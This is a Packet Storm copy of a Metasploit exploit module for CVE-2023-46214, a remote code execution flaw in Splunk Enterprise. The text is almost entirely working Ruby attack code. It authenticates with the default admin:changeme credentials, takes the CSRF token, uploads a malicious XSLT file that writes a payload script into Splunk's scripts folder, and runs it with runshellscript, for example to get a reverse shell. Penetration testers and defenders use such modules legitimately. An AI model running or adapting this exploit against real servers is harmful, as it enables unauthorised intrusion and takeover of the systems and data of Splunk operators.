Splunk XSLT Upload Remote Code Execution ≈ Packet Storm

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  ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Splunk Authenticated XSLT Upload RCE',
'Description' => %q{
This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.
The affected versions include 9.0.x before 9.0.7 and 9.1.x before 9.1.2. The exploitation process leverages
a weakness in the XSLT transformation functionality of Splunk. Successful exploitation requires valid
credentials, typically 'admin:changeme' by default.
The exploit involves uploading a malicious XSLT file to the target system. This file, when processed by the
vulnerable Splunk server, leads to the execution of arbitrary code. The module then utilizes the 'runshellscript'
capability in Splunk to execute the payload, which can be tailored to establish a reverse shell. This provides
the attacker with remote control over the compromised Splunk instance. The module is designed to work
seamlessly, ensuring successful exploitation under the right conditions.
},
'Author' => [
'nathan', # Writeup and PoC
'Valentin Lobstein', # Metasploit module
'h00die', # Assistance in module development
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-46214'],
['URL', 'https://github.com/nathan31337/Splunk-RCE-poc'],
['URL', 'https://advisory.splunk.com/advisories/SVD-2023-1104'], # Vendor Advisory
['URL', 'https://blog.hrncirik.net/cve-2023-46214-analysis'], # Writeup
],
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2023-11-28',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8000
},
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'Username for Splunk', 'admin']),
OptString.new('PASSWORD', [true, 'Password for Splunk', 'changeme']),
OptString.new('RANDOM_FILENAME', [false, 'Random filename with 8 characters', Rex::Text.rand_text_alpha(8)]),
]
)
end
def exploit
cookie_string ||= authenticate
unless cookie_string
fail_with(Failure::NoAccess, 'Authentication failed')
end
sleep(0.3)
csrf_token, updated_cookie_string = fetch_csrf_token(cookie_string)
unless csrf_token
fail_with(Failure::NoAccess, 'Failed to obtain CSRF token')
end
sleep(0.3)
malicious_xsl = generate_malicious_xsl
text_value = upload_malicious_file(malicious_xsl, csrf_token, updated_cookie_string)
unless text_value
fail_with(Failure::Unknown, 'File upload failed')
end
sleep(0.3)
jsid = get_job_search_id(csrf_token, updated_cookie_string)
unless jsid
fail_with(Failure::Unknown, 'Creating job failed')
end
sleep(0.3)
unless trigger_xslt_transform(jsid, text_value, updated_cookie_string)
fail_with(Failure::Unknown, 'XSLT Transform failed')
end
sleep(0.3)
unless trigger_payload(jsid, csrf_token, updated_cookie_string)
fail_with(Failure::Unknown, 'Failed to execute reverse shell')
end
end
def check
unless splunk?
return CheckCode::Unknown('Target does not appear to be a Splunk instance')
end
begin
cookie_string = authenticate
rescue RuntimeError
cookie_string = nil
end
unless cookie_string
return CheckCode::Detected('The target is Splunk but authentication failed')
end
version = get_version_authenticated(cookie_string)
return CheckCode::Detected('Unable to determine Splunk version') unless version
if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.6')) ||
version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.1'))
return CheckCode::Appears("Exploitable version found: #{version}")
end
CheckCode::Safe("Non-vulnerable version found: #{version}")
end
def trigger_payload(jsid, csrf_token, cookie_string)
return nil unless jsid && csrf_token
runshellscript_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')
runshellscript_data = {
'search' => "|runshellscript \"#{datastore['RANDOM_FILENAME']}.sh\" \"\" \"\" \"\" \"\" \"\" \"\" \"\" \"#{jsid}\""
}
upload_headers = {
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => csrf_token,
'Cookie' => cookie_string
}
print_status("Executing payload at #{runshellscript_url}")
res = send_request_cgi(
'uri' => runshellscript_url,
'method' => 'POST',
'vars_post' => runshellscript_data,
'headers' => upload_headers
)
unless res
print_error('Failed to execute payload: No response received')
return nil
end
if res.code == 201
print_good('Payload executed successfully')
return true
end
print_error("Failed to execute payload: Server returned status code #{res.code}")
return nil
end
def trigger_xslt_transform(jsid, text_value, cookie_string)
return nil unless jsid && text_value
exploit_endpoint = normalize_uri(target_uri.path, 'en-US', 'api', 'search', 'jobs', jsid, 'results')
exploit_endpoint << "?xsl=/opt/splunk/var/run/splunk/dispatch/#{text_value}/#{datastore['RANDOM_FILENAME']}.xsl"
xslt_headers = {
'X-Splunk-Module' => 'Splunk.Module.DispatchingModule',
'Connection' => 'close',
'Upgrade-Insecure-Requests' => '1',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest',
'Cookie' => cookie_string
}
print_status("Triggering XSLT transformation at #{exploit_endpoint}")
res = send_request_cgi(
'uri' => exploit_endpoint,
'method' => 'GET',
'headers' => xslt_headers
)
unless res
print_error('Failed to trigger XSLT transformation: No response received')
return nil
end
if res.code == 200
print_good('XSLT transformation triggered successfully')
return true
end
print_error("Failed to trigger XSLT transformation: Server returned status code #{res.code}")
return nil
end
def generate_malicious_xsl
encoded_payload = Rex::Text.html_encode(payload.encoded)
xsl_template = <<~XSL
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="/opt/splunk/bin/scripts/#{datastore['RANDOM_FILENAME']}.sh" method="text">
<xsl:text>#{encoded_payload}</xsl:text>
</exsl:document>
</xsl:template>
</xsl:stylesheet>
XSL
xsl_template
end
def get_job_search_id(csrf_token, cookie_string)
return nil unless csrf_token
jsid_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'servicesNS', datastore['USERNAME'], 'search', 'search', 'jobs')
upload_headers = {
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => csrf_token,
'Cookie' => cookie_string
}
jsid_data = {
'search' => '|search test|head 1'
}
print_status("Sending job search request to #{jsid_url}")
res = send_request_cgi(
'uri' => jsid_url,
'method' => 'POST',
'vars_post' => jsid_data,
'headers' => upload_headers,
'vars_get' => { 'output_mode' => 'json' }
)
unless res
print_error('Failed to initiate job search: No response received')
return nil
end
jsid = res.get_json_document['sid']
return jsid if jsid
end
def upload_malicious_file(file_content, csrf_token, cookie_string)
unless csrf_token
print_error('CSRF token not found')
return nil
end
post_data = Rex::MIME::Message.new
post_data.add_part(file_content, 'application/xslt+xml', nil, "form-data; name=\"spl-file\"; filename=\"#{datastore['RANDOM_FILENAME']}.xsl\"")
upload_headers = {
'Accept' => 'text/javascript, text/html, application/xml, text/xml, */*',
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => csrf_token,
'Cookie' => cookie_string
}
upload_url = normalize_uri(target_uri.path, 'en-US', 'splunkd', '__upload', 'indexing', 'preview')
res = send_request_cgi(
'uri' => upload_url,
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' => upload_headers,
'vars_get' => {
'output_mode' => 'json',
'props.NO_BINARY_CHECK' => 1,
'input.path' => "#{datastore['RANDOM_FILENAME']}.xsl"
}
)
unless res
print_error('Malicious file upload failed: No response received')
return nil
end
if res.headers['Content-Type'].include?('application/json')
response_data = res.get_json_document
else
print_error('Response is not in JSON format')
return nil
end
if response_data.empty?
print_error('Failed to parse JSON or received empty JSON')
return nil
end
if response_data['messages'] && !response_data['messages'].empty?
text_value = response_data.dig('messages', 0, 'text')
if text_value.include?('concatenate')
print_error('Server responded with an error: concatenate found in the response')
return nil
end
print_good('Malicious file uploaded successfully')
return text_value
end
print_error('Server did not return a valid "messages" field')
return nil
end
def fetch_csrf_token(cookie_string)
print_status('Extracting CSRF token from cookies')
csrf_token_match = cookie_string.match(/splunkweb_csrf_token_8000=([^;]+)/)
if csrf_token_match
csrf_token = csrf_token_match[1]
print_good("CSRF token successfully extracted: #{csrf_token}")
en_us_url = normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home')
res = send_request_cgi({
'method' => 'GET',
'uri' => en_us_url,
'cookie' => cookie_string
})
updated_cookie_string = cookie_string
if res && res.code == 200
new_cookies = res.get_cookies
updated_cookie_string += new_cookies
end
return [csrf_token, updated_cookie_string]
end
fail_with(Failure::NotFound, 'CSRF token not found in cookies')
end
def get_version_authenticated(cookie_string)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),
'vars_get' => {
'output_mode' => 'json'
},
'headers' => {
'Cookie' => cookie_string
}
})
return nil unless res&.code == 200
body = res.get_json_document
Rex::Version.new(body.dig('generator', 'version'))
end
def splunk?
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/en-US/account/login')
})
return true if res&.body =~ /Splunk/
false
end
def authenticate
login_url = normalize_uri(target_uri.path, 'en-US', 'account', 'login')
res = send_request_cgi({
'method' => 'GET',
'uri' => login_url
})
unless res
fail_with(Failure::Unreachable, 'No response received for authentication request')
end
cval_value = res.get_cookies.match(/cval=([^;]*)/)[1]
unless cval_value
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the cval cookie for authentication')
end
auth_payload = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'cval' => cval_value,
'set_has_logged_in' => 'false'
}
res = send_request_cgi({
'method' => 'POST',
'uri' => login_url,
'cookie' => res.get_cookies,
'vars_post' => auth_payload
})
unless res && res.code == 200
fail_with(Failure::NoAccess, 'Failed to authenticate on the Splunk instance')
end
print_good('Successfully authenticated on the Splunk instance')
res.get_cookies
end
end